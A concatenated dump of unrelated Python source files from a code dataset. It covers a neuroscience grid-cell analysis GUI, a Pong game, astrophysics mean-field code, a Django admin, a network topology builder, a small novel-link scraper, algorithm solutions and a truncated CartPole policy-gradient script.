cmap=cm.jet, interpolation='nearest')\n ax1.axis('off')\n ax1.axis('equal')\n ax1.set_xlim(0, ratemap.shape[0])\n ax1.set_ylim(0, ratemap.shape[1])\n ax1.set_title('GS: '+str(round(clusters_list[cNo]['gridscore'], 3)))\n\n autocorr = clusters_list[cNo]['autocorr']\n bin_size = clusters_list[cNo]['bin_size']\n spacing, x, y, orientation, ptx, pty = grid_properties(autocorr, bin_size)\n\n # Plot\n ax2 = plt.subplot2grid((1, 2), (0, 1))\n ax2.imshow(autocorr, cmap=cm.jet, interpolation='nearest')\n ax2.axis('off')\n ax2.axis('equal')\n ax2.set_xlim(0, autocorr.shape[0])\n ax2.set_ylim(0, autocorr.shape[1])\n ax2.plot(x, y, 'ro', 'markersize', 3)\n # Line:\n ax2.plot([0, autocorr.shape[0]], [autocorr.shape[1]/2, autocorr.shape[1]/2], 'r--')\n ax2.plot([autocorr.shape[0]/2, ptx], [autocorr.shape[1]/2, pty], 'g--')\n ax2.set_title('Spacing: '+str(round(spacing)) + ' cm, Orientation: ' + str(round(orientation)) + ' degrees')\n\n plt.show()\n\n# Button UI.\nall_grid_button = Button(gui, text=\"All grids\", bd=5, command=all_grid_callback)\nall_grid_button.pack()\nall_grid_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=140)\n\n\n## All HDs ##\ndef all_hd_callback():\n print('to come')\n\n## All borders ##\nall_hd_button = Button(gui, text=\"All HDs\", bd=5, command=all_hd_callback)\nall_hd_button.pack()\nall_hd_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=180)\n\n## Rate map split by time ##\ndef ratemap_split_callback():\n print('##########')\n splitting = int(time_entry.get())\n idx_s = sessions_listbox.curselection()\n idx = clusters_listbox.curselection()\n idx = idx[0]\n print('Splitting session in ' + str(splitting) + '.')\n for sNo in range(0, len(idx_s)):\n s_val = idx_s[sNo]\n clusters_list = sessions_list[s_val]\n cluster_selected = sessions_list[s_val][idx]\n session_length = probe.pos_time[id_list[s_val][1][0]:id_list[s_val][1][1]]\n to_split = session_length[-1]/splitting\n id_start = 0\n id_start_spikes = 0\n\n fig = plt.figure()\n for sp in range(0, splitting):\n time_to_split = to_split*(sp+1)\n idt = find_nearest(probe.pos_time[id_list[s_val][1][0]:id_list[s_val][1][1]], time_to_split)\n idt_spikes = find_nearest(cluster_selected['spikes_positions_time'], time_to_split)\n ratemap_tmp = ratemap(cluster_selected['box_size'], cluster_selected['bin_size'], probe.pos_x[id_start:idt], probe.pos_y[id_start:idt], cluster_selected['spikes_positions_x'][id_start_spikes:idt_spikes], cluster_selected['spikes_positions_y'][id_start_spikes:idt_spikes])\n autocorr_tmp = spatial_autocorr(ratemap_tmp, 0)\n gridscore_tmp, no_care = calculate_gridscore(autocorr_tmp)\n spacing_tmp, x, y, orientation_tmp, ptx, pty = grid_properties(autocorr_tmp, cluster_selected['bin_size'])\n\n id_start = idt+1\n id_start_spikes = 0\n\n # Plot.\n ax1 = plt.subplot2grid((splitting, 2), (sp, 0))\n ax1.imshow(ratemap_tmp.T, cmap=cm.jet, interpolation='nearest')\n ax1.axis('off')\n ax1.axis('equal')\n ax1.set_xlim(0, ratemap_tmp.shape[0])\n ax1.set_ylim(0, ratemap_tmp.shape[1])\n ax1.set_ylabel('From ' + str(round(to_split/sampling_rate/60, 2)))\n ax1.set_title('Gridscore: ' + str(round(gridscore_tmp, 2)))\n\n ax2 = plt.subplot2grid((splitting, 2), (sp, 1))\n ax2.imshow(autocorr_tmp, cmap=cm.jet, interpolation='nearest')\n ax2.axis('off')\n ax2.axis('equal')\n ax2.set_xlim(0, autocorr_tmp.shape[0])\n ax2.set_ylim(0, autocorr_tmp.shape[1])\n ax2.plot(x, y, 'ro', 'markersize', 3)\n ax2.plot([0, autocorr_tmp.shape[0]], [autocorr_tmp.shape[1]/2, autocorr_tmp.shape[1]/2], 'r--')\n ax2.plot([autocorr_tmp.shape[0]/2, ptx], [autocorr_tmp.shape[1]/2, pty], 'g--')\n ax2.set_title('Spacing: '+ str(round(spacing_tmp)) + ' cm, Orientation: ' + str(round(orientation_tmp)) + ' degrees')\n\n fig.suptitle('Cluster ' + str(cluster_selected['cluster']) + ' for session ' + str(sNo))\n plt.show()\n\n# Button UI.\nratemap_split_button = Button(gui, text=\"Split R. map\", bd=5, command=ratemap_split_callback)\nratemap_split_button.pack()\nratemap_split_button.place(bordermode=OUTSIDE, height=40, width=100, x=710, y=60)\ntime_entry = Entry(gui, bd=5)\ntime_entry.pack\ntime_entry.place(bordermode=OUTSIDE, height=40, width=100, x=710, y=100)\n\n## Loading raw data ##\ndef loading_raw():\n global raw_data\n entry = data_folder_entry.get()\n raw_path = Path(entry + '/raw.dat')\n raw_data = load_raw(raw_path, 32)\n\n # Displaying one channel to check the raw data.\n fig = plt.figure()\n sampling_rate = int(sampling_entry.get())\n x = np.arange(0, 50000*(1/sampling_rate), 1/sampling_rate)\n plt.plot(x, raw_data[0:50000, 10], 'b')\n plt.plot(x, raw_data[0:50000, 20], 'r')\n plt.title('Raw data control')\n plt.xlabel('Time (s)')\n plt.ylabel('µV')\n plt.show()\n\n## Button UI ##\nloading_raw_button = Button(gui, text=\"Load raw\", bd=5, command=loading_raw)\nloading_raw_button.pack()\nloading_raw_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=300)\n\n## Filtering for LFP.\ndef filtering_lfp():\n print('#####')\n print('Filtering LFP...')\n channels = 32\n sampling_rate = int(sampling_entry.get())\n global filtered_data\n filtered_data = np.empty(raw_data.shape)\n for cn in range(0, channels):\n print('Channel ' + str(cn))\n filtered_data[:, cn] = butter_lowpass_filter(raw_data[:, cn], 300, sampling_rate, order=4)\n print('Done!')\n x = np.arange(0, 50000*(1/sampling_rate), 1/sampling_rate)\n\n fig = plt.figure()\n # Plot the frequency response.\n channel = 0\n plt.plot(x, raw_data[0:50000, channel], 'b')\n plt.plot(x, filtered_data[0:50000, channel], 'r')\n plt.title('Filtered data control')\n plt.xlabel('Time (s)')\n plt.ylabel('µV')\n plt.show()\n\n## Button UI ##\nfiltering_lfp_button = Button(gui, text=\"Filter\", bd=5, command=filtering_lfp)\nfiltering_lfp_button.pack()\nfiltering_lfp_button.place(bordermode=OUTSIDE, height=40, width=100, x=1190, y=340)\n\n## PSD LFP ##\ndef psd_lfp():\n channel = 10\n sampling_rate = int(sampling_entry.get())\n samp_spec = range(10000, 20000)\n print('#####')\n print('Generating PSD...')\n f, psd = scipy.signal.welch(filtered_data[samp_spec, channel], fs=sampling_rate, nperseg=1000)\n print('Done!')\n\n # Plot the power spectrum.\n plt.figure(figsize=(11,3))\n plt.semilogy(f,psd,'k')\n sns.despine()\n plt.xlim((0,200))\n plt.yticks(size=15)\n plt.xticks(size=15)\n plt.ylabel('power ($uV^{2}/Hz$)',size=15)\n plt.xlabel('frequency (Hz)',size=15)\n plt.title('PSD of Local Field Potential', size=20)\n\n # Creates spectrogram over a range of data.\n f, t_spec, x_spec = scipy.signal.spectrogram(filtered_data[samp_spec, channel], fs=sampling_rate, window='hanning', nperseg=1000, noverlap=1000-1, mode='psd')\n fmax = 200\n t_index = np.arange(10000*(1/sampling_rate), 20000*(1/sampling_rate), 1/sampling_rate)\n\n x_mesh, y_mesh = np.meshgrid(t_spec, f[f>> hit(760, 100, 10, 780, 100, 100)\n\t False\n\t >>> hit(770, 100, 10, 780, 100, 100)\n\t True\n\t >>> hit(770, 200, 10, 780, 100, 100)\n\t True\n\t >>> hit(770, 210, 10, 780, 100, 100)\n\t False\n\t\"\"\"\n\tif (py - (h / 2)) <= by <= (py + (h / 2)) and bx >= (px - 10):\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef play_round():\n\tball_x = 10\n\tball_y = random_between(20, 280)\n\tball = Circle((ball_x, ball_y), 10, filled=True)\n\tdx = 4\n\tdy = random_between(-5, 5)\n\n\tpaddle_x = 780\n\tpaddle_y = random_between(40, 560)\n\tpaddle = Box((paddle_x, paddle_y), 20, 40)\n\n\twhile True:\n\t\tif ball_y >= 590 or ball_y <= 10:\n\t\t\tdy *= -1\n\t\tball_x += dx\n\t\tball_y += dy\n\t\tif ball_x > 810:\n\t\t\tremove_from_screen(ball)\n\t\t\tremove_from_screen(paddle)\n\t\t\treturn COMPUTER_WINS\n\t\tmove_to(ball, (ball_x, ball_y))\n\n\t\tif ball_x < 10:\n\t\t\tremove_from_screen(ball)\n\t\t\tremove_from_screen(paddle)\n\t\t\treturn PLAYER_WINS\t\t\n\t\t\n\t\tif key_pressed('k') and paddle_y <= 560:\n\t\t\tpaddle_y += 5\n\t\telif key_pressed('j') and paddle_y >= 40:\n\t\t\tpaddle_y -= 5\n\n\t\tif key_pressed('enter'):\n\t\t\treturn QUIT\n\n\t\tmove_to(paddle, (paddle_x, paddle_y))\n\n\t\tif hit(ball_x, ball_y, 10, paddle_x, paddle_y, 40):\n\t\t\tdx *= -1\n\t\tball_x += dx\n\n\t\tupdate_when('next_tick')\n\n\tend_graphics()\n\ndef play_game():\n\tplayer_score = 0\n\tcomp_score = 0\n\n\twhile True:\n\t\tpmsg = Text(\"Player: %d Points\" % player_score, (10, 570), size=24)\n\t\tcmsg = Text(\"Computer: %d Points\" % comp_score, (550, 570), size=24)\n\t\tsleep(3)\n\t\tremove_from_screen(pmsg)\n\t\tremove_from_screen(cmsg)\n\n\t\tresult = play_round()\n\n\t\tif result == PLAYER_WINS:\n\t\t\tplayer_score += 1\n\t\telif result == COMPUTER_WINS:\n\t\t\tcomp_score += 1\n\t\telse:\n\t\t\treturn QUIT\n\n\t\tif player_score == 5:\n\t\t\treturn PLAYER_WINS\n\t\telif comp_score == 5:\n\t\t\treturn COMPUTER_WINS\n\nbegin_graphics(800, 600, title=\"Catch\", background=color.YELLOW)\nset_speed(120)\n\nresult = play_game()\n\nif result == PLAYER_WINS:\n\tText(\"Player Wins!\", (340, 290), size=32)\nelif result == COMPUTER_WINS:\n\tText(\"Computer Wins!\", (340, 290), size=32)\n\nsleep(4)\n\nend_graphics()\n\nif __name__ == '__main__':\n\timport doctest\n\tdoctest.testmod()\n","sub_path":"How_To_Think_Like_A_Computer_Scientist/08_Case_Study_Catch/pong2.py","file_name":"pong2.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"358298427","text":"import numpy as np\nfrom scipy import integrate\nimport matplotlib.pyplot as plt\nimport UTILS.CALCULUS as calc\nimport UTILS.ALIMIT as al\n\n# Theoretical background https://arxiv.org/abs/1401.5176\n\n# Mocak, Meakin, Viallet, Arnett, 2014, Compressible Hydrodynamic Mean-Field #\n# Equations in Spherical Geometry and their Application to Turbulent Stellar #\n# Convection Data #\n\nclass BruntVaisalla(calc.CALCULUS,al.ALIMIT,object):\n\n def __init__(self,filename,ig,intc,data_prefix):\n super(BruntVaisalla,self).__init__(ig) \n\t\n # load data to structured array\n eht = np.load(filename)\t\t\n\n # load grid\n xzn0 = np.asarray(eht.item().get('xzn0')) \t\n\n # pick specific Reynolds-averaged mean fields according to:\n # https://github.com/mmicromegas/ransX/blob/master/DOCS/ransXimplementationGuide.pdf \n\t\t\n dd = np.asarray(eht.item().get('dd')[intc]) \n pp = np.asarray(eht.item().get('pp')[intc]) \n gg = np.asarray(eht.item().get('gg')[intc])\n gamma1 = np.asarray(eht.item().get('gamma1')[intc])\n\t\t\n dlnrhodr = self.deriv(np.log(dd),xzn0)\n dlnpdr = self.deriv(np.log(pp),xzn0)\n dlnrhodrs = (1./gamma1)*dlnpdr\n nsq = gg*(dlnrhodr-dlnrhodrs)\n\t\n # assign global data to be shared across whole class\n self.data_prefix = data_prefix\t\t\n self.xzn0 = xzn0\n self.nsq = nsq\n\t\n chim = np.asarray(eht.item().get('chim')[intc]) \n chit = np.asarray(eht.item().get('chit')[intc]) \n chid = np.asarray(eht.item().get('chid')[intc])\n mu = np.asarray(eht.item().get('abar')[intc]) \t\t\n tt = np.asarray(eht.item().get('tt')[intc])\n gamma2 = np.asarray(eht.item().get('gamma2')[intc])\n\t\t\n alpha = 1./chid\n delta = -chit/chid\n phi = chid/chim\n hp = -pp/self.Grad(pp,xzn0) \t\t\n\t\n lntt = np.log(tt)\n lnpp = np.log(pp)\n lnmu = np.log(mu)\n\n # calculate temperature gradients\t\t\n nabla = self.deriv(lntt,lnpp) \n nabla_ad = (gamma2-1.)/gamma2\n nabla_mu = (chim/chit)*self.deriv(lnmu,lnpp)\t\n\t\t\n\t\t# Kippenhahn and Weigert, p.42 but with opposite (minus) sign at the (phi/delta)*nabla_mu\n self.nsq_version2 = (gg*delta/hp)*(nabla_ad - nabla - (phi/delta)*nabla_mu) \t\t\n\t\n def plot_bruntvaisalla(self,LAXIS,xbl,xbr,ybu,ybd,ilg):\n \"\"\"Plot BruntVaisalla parameter in the model\"\"\" \n\n # load x GRID\n grd1 = self.xzn0\n\t\n # load DATA to plot\n plt1 = self.nsq\n plt2 = self.nsq_version2\n\t\t\n # create FIGURE\n plt.figure(figsize=(7,6))\n\t\t\n # format AXIS, make sure it is exponential\n plt.gca().yaxis.get_major_formatter().set_powerlimits((0,0))\t\t\n\t\t\n # set plot boundaries \n to_plot = [plt1,plt2]\t\t\n self.set_plt_axis(LAXIS,xbl,xbr,ybu,ybd,to_plot)\t\n\t\t\n # plot DATA \n plt.title('Brunt-Vaisalla frequency')\n plt.plot(grd1,plt1,color='r',label = r'N$^2$')\n plt.plot(grd1,plt2,color='b',linestyle='--',label = r'N$^2$ version 2')\n\t\t\n # define and show x/y LABELS\n setxlabel = r\"r (cm)\"\n setylabel = r\"N$^2$\"\n\n plt.xlabel(setxlabel)\n plt.ylabel(setylabel)\n\t\t\n # show LEGEND\n plt.legend(loc=ilg,prop={'size':18})\n\n # display PLOT\n plt.show(block=False)\n\n # save PLOT\n plt.savefig('RESULTS/'+self.data_prefix+'mean_BruntVaisalla.png')\n\t\n\t","sub_path":"EQUATIONS/BruntVaisalla.py","file_name":"BruntVaisalla.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"113370346","text":"#! /usr/bin/env python \n\n#author: Jakeniah Christiansen\n#A simple program that experiments with OptionParser and making histograms. May be run as executable, in\n#the following form: LittlePythonProject -f nameoffile\n#Two text files are available for examples, pivalues and euler, which contain the first few values of pi and euler's number (respectively)\n#The program will create a histogram of the density of the digits of these values\nfrom optparse import OptionParser\nimport csv\nimport numpy as np\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\n\n#set up the Option Parser as parser\nparser=OptionParser()\nparser.add_option(\"-f\", \"--file\", dest=\"filename\", help =\"write report to FILE\", metavar=\"FILE\")\nparser.add_option(\"-q\", \"--quiet\",\n action=\"store_false\", dest=\"verbose\", default=True,\n help=\"don't print status messages to stdout\")\n(options, args)=parser.parse_args()\n\n#read the file into list x\n\nopenfile = open(options.filename, 'r')\nopenfile.seek(0,0)\nx=openfile.readlines()\n\n\n#put list x values into array \"values\", and store the highest and lowest values\nvalues = []\nlistMin=0\nlistMax=0\nfor i in range(len(x)):\n newValue = x[i]\n values+=[int(newValue)]\n if newValuelistMax:\n listMax=int(newValue)\n\n#set up the parameters for the histogram\nbinNumber=10\n\n# the histogram of the data\nn, bins, patches = plt.hist(values, binNumber, normed=0, facecolor='green', alpha=0.75)\n\nplt.xlabel('Digits')\nplt.ylabel('Density')\nplt.title('Histogram')\nxMin=0\nxMax=int(binNumber)\nyMin=int(listMin)\nyMax=int(listMax+1)\nplt.axis([xMin, xMax, yMin, yMax])\nplt.grid(True)\n\nplt.show()\n\n","sub_path":"PlayPen/LittlePythonProject.py","file_name":"LittlePythonProject.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"215106499","text":"from typing import List\nfrom pprint import pprint\n\n\nclass Solution:\n\n def floodFill(self, image: List[List[int]], sr: int, sc: int,\n newColor: int) -> List[List[int]]:\n orig_color = image[sr][sc]\n visited = [[0 for _ in range(len(image[0]))]\n for __ in range(len(image))]\n self.dfs(image, sr, sc, newColor, orig_color, visited)\n return image\n\n def dfs(self, image, x, y, new_color, orig_color, visited):\n if image[x][y] != orig_color or visited[x][y] == 1:\n return\n\n directions = [(0, -1), (0, 1), (-1, 0), (1, 0)]\n image[x][y] = new_color\n visited[x][y] = 1\n for step_x, step_y in directions:\n next_x = x + step_x\n next_y = y + step_y\n if 0 <= next_x < len(image) and 0 <= next_y < len(image[0]):\n self.dfs(image, next_x, next_y, new_color, orig_color, visited)\n return\n\n\nif __name__ == '__main__':\n sol = Solution()\n image = [[0, 0, 0], [0, 1, 1]]\n sr = 0\n sc = 1\n newColor = 1\n pprint(sol.floodFill(image, sr, sc, newColor))","sub_path":"source code/733. Flood Fill.py","file_name":"733. Flood Fill.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"290614362","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 15 21:56:18 2019\n\n@author: ankusmanish\n\"\"\"\n\n#Write a Python program to draw a scatter plot comparing two subject marks of Mathematics and Science.\n#Use marks of 10 students\n\nimport matplotlib.pyplot as plt\n\nmath_marks = [88, 92, 80, 89, 100, 80, 60, 100, 80, 34]\nscience_marks = [35, 79, 79, 48, 100, 88, 32, 45, 20, 30]\nmarks_range = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\n\nplt.figure(figsize = (7,7))\nplt.scatter(marks_range, math_marks, color = 'r', s = 100, label = 'Math Marks')\nplt.scatter(marks_range, science_marks, color = 'b', s = 100, label = 'Science Marks')\nplt.legend()\nplt.show()\n\n\n","sub_path":"Week4/Matplotlib/Scatterplot/Program_4.py","file_name":"Program_4.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"193199782","text":"from django.contrib import admin\nfrom .models import Comments, News\n\n\nclass CommentsInLine(admin.TabularInline):\n model = Comments\n\n\nclass CommentsAdmin(admin.ModelAdmin):\n \"\"\"\n Класс административной панели для удобства управления контентом\n связанного с комментариями.\n Attributes:\n list_display: = выводимые столбцы в административной панели\n list_filter: = фильтр поиска (в настоящий момент настроен по параметрам Username и комментариям)\n actions: delete_comments = функцию удаления комментария с заменой текста на \"удалено администратором.\")\n\n \"\"\"\n list_filter = ['username']\n list_display = ['username', Comments.get_comment]\n Comments.get_comment.short_description = \"Текст комментария\"\n Comments.username.short_description = 'Имя'\n actions = ['delete_comments']\n\n def delete_comments(self, request, queryset):\n \"\"\"Функция удаление комментария\n с заменой текста на \"удалено администратором.\" \"\"\"\n queryset.update(comment='удалено администратором.')\n\n delete_comments.short_description = 'Удаление комментария (безвозвратно!).'\n\n\nclass NewsAdmin(admin.ModelAdmin):\n \"\"\"\n Класс административной панели для удобства управления контентом Новостей\n Attributes:\n list_display: = выводимые столбцы в административной панели\n list_filter: = фильтр поиска (в настоящий момент настроен по активности)\n actions: = добавили функцию массового перевод статуса активности новости\n inlines: = удобный редактор комментариев к новости (TabularInline)\n \"\"\"\n list_display = ['id', 'title', 'create_at', 'update_at', 'activity_flag']\n list_filter = ['activity_flag']\n inlines = [CommentsInLine]\n actions = ['mark_as_active', 'mark_as_inactive']\n\n def mark_as_active(self, request, queryset):\n \"\"\"Функция перевода статуса активности новости в \"Активный\" \"\"\"\n queryset.update(activity_flag=1)\n\n def mark_as_inactive(self, request, queryset):\n \"\"\"Функция перевода статуса активности новости в \"Не активный\" \"\"\"\n\n queryset.update(activity_flag=0)\n\n mark_as_active.short_description = 'перевод новостей в статус “активно”'\n mark_as_inactive.short_description = 'перевод новостей в статус “неактивно”'\n\n\nadmin.site.register(Comments, CommentsAdmin)\nadmin.site.register(News, NewsAdmin)\n","sub_path":"07_DjangoAuthentication/app_news/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"151007495","text":"class Solution:\n def knightProbability(self, N: int, K: int, r: int, c: int) -> float:\n return self.next(N, K, r, c, {})\n \n def next(self, N: int, K: int, r: int, c: int, memory: Dict[Tuple[int, int, int], float])-> float:\n if (r, c, K) in memory:\n return memory[(r, c, K)]\n \n if r < 0 or r >= N or c < 0 or c >= N:\n return 0\n \n if K == 0:\n return 1\n \n result = 0\n for delta_r, delta_c in [(-2, -1), (-2, 1), (-1, -2), (-1, 2), (1, -2,), (1, 2), (2, -1), (2, 1)]:\n result += self.next(N, K - 1, r + delta_r, c + delta_c, memory)\n \n result /= 8\n memory[(r, c, K)] = result\n return result\n ","sub_path":"688_Knight_Probability_in_Chessboard/Knight_Probability_in_Chessboard.py","file_name":"Knight_Probability_in_Chessboard.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"111274740","text":"'''\nThis module provides a class and methods to build the users desired topology.\nThe class is populated by reading the configuration file `setup.toml`.\n'''\n\nimport numpy as np\nimport toml\nfrom node import Packet, Node, VaryingTransmitNode, VaryingRelayNode, MovingNode, RestrictedNode\nfrom mobility import MobilityEnum\n\nseed = 62\nnp.random.seed(seed) # Randomizes UE positions\n\n\nclass Topology:\n def __init__(self, configuration):\n #print('Initializing topology configuration...')\n packet_size = configuration['global']['packet-size']\n area = (configuration['area']['width'], configuration['area']['height'])\n\n self.node_dict = {} # Dict of TYPE of Nodes (src-node, etc)\n #print('Creating node objects...')\n for node in configuration['nodes'].keys():\n self.node_dict[node] = [] # Make an entry for different type of node\n node_type = configuration['nodes'][node]['type']\n count = configuration['nodes'][node]['count']\n position = configuration['nodes'][node]['position']\n #print(f'Fetching mobility model for {node}')\n movement = MobilityEnum.get_movement(configuration['nodes'][node]['movement'])\n parameters = configuration['nodes'][node]['params']\n\n # Create nodes\n for c in range(count):\n new_node = RestrictedNode(node_type=node_type,\n step_value=0,\n mobility_model=movement,\n packet_size=packet_size,\n gen_rate=parameters['generation-rate'],\n max_buffer_size=parameters['buffer-size'])\n new_node.set_name(node)\n new_node.position = self.get_position(position, area, c)\n self.node_dict[node].append(new_node)\n\n # Build connections\n if configuration['global']['link-foundation'] == 'distance':\n self.create_distance_links(configuration)\n\n def create_distance_links(self, configuration):\n '''\n Create a list of tuples that represent a link between two nodes.\n The parameters of the links are represented as a dictionary. Sets the\n `self.topology` variable.\n :param configuration: dict, topology configuration\n :return: None\n '''\n # TODO: Specifying uplink + downlink bandwidth --> for now just use downlink\n if len(self.node_dict) == 0:\n raise Exception('No available nodes to make links.')\n\n def is_distance_ok(node, node2):\n if node.name == 'base-stations' and \\\n node2.name == 'base-stations':\n return True\n\n if node.name == 'base-stations' or node2.name == 'base-stations':\n if distance(node, node2) <= 65:\n return True\n\n if node.name == 'uav-base-stations' or node2.name == 'uav-base-stations':\n if distance(node, node2) <= 50:\n return True\n\n if node.name == 'leo-satellites' or node2.name == 'leo-satellites':\n if distance(node, node2) < 2000:\n return True\n\n return False\n\n #print('Creating links between nodes...')\n edge_list = []\n\n connections_for = {}\n uplink_bandwidth_for = {}\n downlink_bandwidth_for = {}\n # Fetch info on what nodes connect to what nodes\n for node in configuration['nodes'].keys():\n connections_for[node] = configuration['nodes'][node]['connected-to']\n downlink_bandwidth_for[node] = configuration['nodes'][node]['params']['downlink-bandwidth']\n\n # Start making connections\n for node_key in self.node_dict:\n viable_connections = connections_for[node_key] # Get list of nodes it can connect to\n for node in self.node_dict[node_key]:\n for vn in viable_connections:\n for node2 in self.node_dict[vn]:\n if is_distance_ok(node, node2) and not node is node2:\n new_connection = (node, node2,\n {'Bandwidth': downlink_bandwidth_for[node_key],\n 'TickValue': None,\n })\n edge_list.append(new_connection)\n\n self.topology = edge_list\n\n def get_position(self, p_arg, area, count):\n if p_arg == 'ue-random':\n return self._ue_random(area)\n elif p_arg == 'none':\n return (0,0,0)\n else:\n x= int(p_arg[count][0])\n y= int(p_arg[count][1])\n z= int(p_arg[count][2])\n return (x,y,z)\n\n def _ue_random(self, area):\n x, y = np.random.normal(size=(2,)) * (area[0]/4, area[1]/4)\n x = min(x, area[0])\n y = min(y, area[1])\n return (x, y, 0)\n\n def __repr__(self):\n s = ''\n for edge in self.topology:\n s += str(edge) + '\\n'\n\n return s\n\ndef distance(node1, node2):\n a = np.array(node1.position)\n b = np.array(node2.position)\n return np.linalg.norm(a-b)\n\n\n###################################################################################################\n\n###################################################################################################\n# Drawing Helper Methods #\ndef get_sagin_positional(network):\n pos_dict = {}\n whatever = [(1,0), (2,0), (3,0), (4,0), (1,1), (2,1), (3,1), (4,1), (3, 2), (6, 2), (5, 1), (6, 1), (7, 1), (8, 1), (5, 0), (6, 0), (7, 0), (8, 0)]\n for node in network:\n #print(node.id)\n pos_dict[node] = whatever[node.id]\n\n return pos_dict\n\nif __name__ == '__main__':\n configuration = toml.load('../config.toml')\n #print('testing topology')\n new = Topology(configuration)\n print(new.topology)\n","sub_path":"pypoc/topology.py","file_name":"topology.py","file_ext":"py","file_size_in_byte":6000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"544943514","text":"import requests\nfrom lxml import etree\n\nurl_root = \"http://www.biquge.info/wanjiexiaoshuo/\"\nfor i in range(1, 456):\n url = url_root + str(i)\n r = requests.get(url)\n html = etree.HTML(r.text)\n links = html.xpath('//*[@id=\"main\"]/div[1]/ul/li/span[2]/a/@href')\n for link in links:\n with open('novel_links.txt', 'a') as f:\n f.write(link + \"\\n\")\n","sub_path":"novel_links.py","file_name":"novel_links.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"314509326","text":"from parsers import counter_update, counter_map_update\nimport re\n\n\n_regex_token=re.compile(r\"(?u)\\b\\w\\w\\w+\\b\")\n\n\ndef tokenizer(text_string, regex_chars=\"[^ a-zA-Z]\", lower=True,\n regex_token=_regex_token):\n \"\"\"tokenizes a text string into a list of words\n\n Parameters\n ----------\n text_string : str\n text string to be processed\n regex_chars : str\n regex pattern which characters must match to keep, the default\n is all alphabetical characters\n lower : bool or None\n whether to set all chars to lower case\n regex_token : regex pattern\n pattern for the actual tokenzing, the default breaks up by space\n defining words as 3+ characters\n\n Returns\n -------\n list\n of unigrams/words matching tokenization process\n \"\"\"\n\n text_string = re.sub(regex_chars, \"\", text_string)\n if lower:\n text_string = text_string.lower()\n text_list = regex_token.findall(text_string)\n return text_list\n\n\ndef unigram_counter(text_string, term_dict, term_map=None, **token_kwds):\n \"\"\"extracts the unique unigrams from a string and inserts into term_dict\n\n Parameters\n ----------\n text_string\n\n \"\"\"\n\n tokens = tokenizer(text_string, **token_kwds)\n\n if term_map:\n term_dict = counter_map_update(tokens, term_dict, term_map)\n else:\n term_dict = counter_update(tokens, term_dict)\n\n return term_dict\n\n\ndef ngram_counter(text_string, term_dict, term_map, n, **token_kwds):\n \"\"\"counter for ngrams\"\"\"\n\n tokens = tokenizer(text_string, **token_kwds)\n text_list = []\n for t in tokens:\n try:\n t = term_map[t]\n text_list.append(t)\n except:\n continue\n\n text_list = [\" \".join(tp) for tp in zip(*[text_list[i:] for i in range(n)])]\n\n term_dict = counter_update(text_list, term_dict)\n\n return term_dict\n","sub_path":"DiSTL/parse__dep00/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"473235430","text":"import gym\nimport numpy as np\nimport sklearn.pipeline\nimport sklearn.preprocessing\nfrom sklearn.kernel_approximation import RBFSampler\nfrom sklearn.linear_model import SGDClassifier\nimport matplotlib.pyplot as plt\nimport copy \n\nenv = gym.make('CartPole-v0')\nnum_episodes=3000\nnA = env.action_space.n\n#env._max_episode_steps = 100000\nnp.random.seed(1)\nw = np.zeros((400,nA))\n\n# Get satistics over observation space samples for normalization\nenv.reset()\nobservation_examples = []\nfor i in range(200):\n\ts,r,d,_ = env.step(1)\n\tobservation_examples.append(s)\n\nscaler = sklearn.preprocessing.StandardScaler()\nscaler.fit(np.array(observation_examples))\t\n\n# Create radial basis function sampler to convert states to features for nonlinear function approx\nfeaturizer = sklearn.pipeline.FeatureUnion([\n (\"rbf1\", RBFSampler(gamma=5.0, n_components=100)),\n (\"rbf2\", RBFSampler(gamma=2.0, n_components=100)),\n (\"rbf3\", RBFSampler(gamma=1.0, n_components=100)),\n (\"rbf4\", RBFSampler(gamma=0.5, n_components=100))\n\t\t])\n# Fit featurizer to our scaled inputs\nfeaturizer.fit(scaler.transform(observation_examples))\n\n\ndef policy(state,w):\n\tz = state.dot(w)\n\texp = np.exp(z)\n\treturn exp/np.sum(exp)\n\ndef featurize_state(state):\n\t# Transform data\n\n\tscaled = scaler.transform([state])\n\tfeaturized = featurizer.transform(scaled)\n\treturn featurized\n\nepisode_rewards = []\n\ndef softmax_grad(softmax):\n s = softmax.reshape(-1,1)\n return np.diagflat(s) - np.dot(s, s.T)\n\n\nfor e in range(num_episodes):\n\n\tstate = env.reset()\n\tstate = featurize_state(state)\n\n\tscore = 0\n\tactions = np.zeros(2)\n\tavg_probs = np.zeros(2)\n\ti = 0\n\twhile True:\n\t\t#env.render()\n\t\tprobs = policy(state,w)\n\t\tavg_probs += probs[0]\n\t\taction = np.random.choice(nA,p=probs[0])\n\t\tactions[action] += 1\n\t\ti += 1\n\t\tnext_state,reward,done,_ = env.step(action)\n\t\tnext_state = featurize_state(next_state)\n\n\t\t# 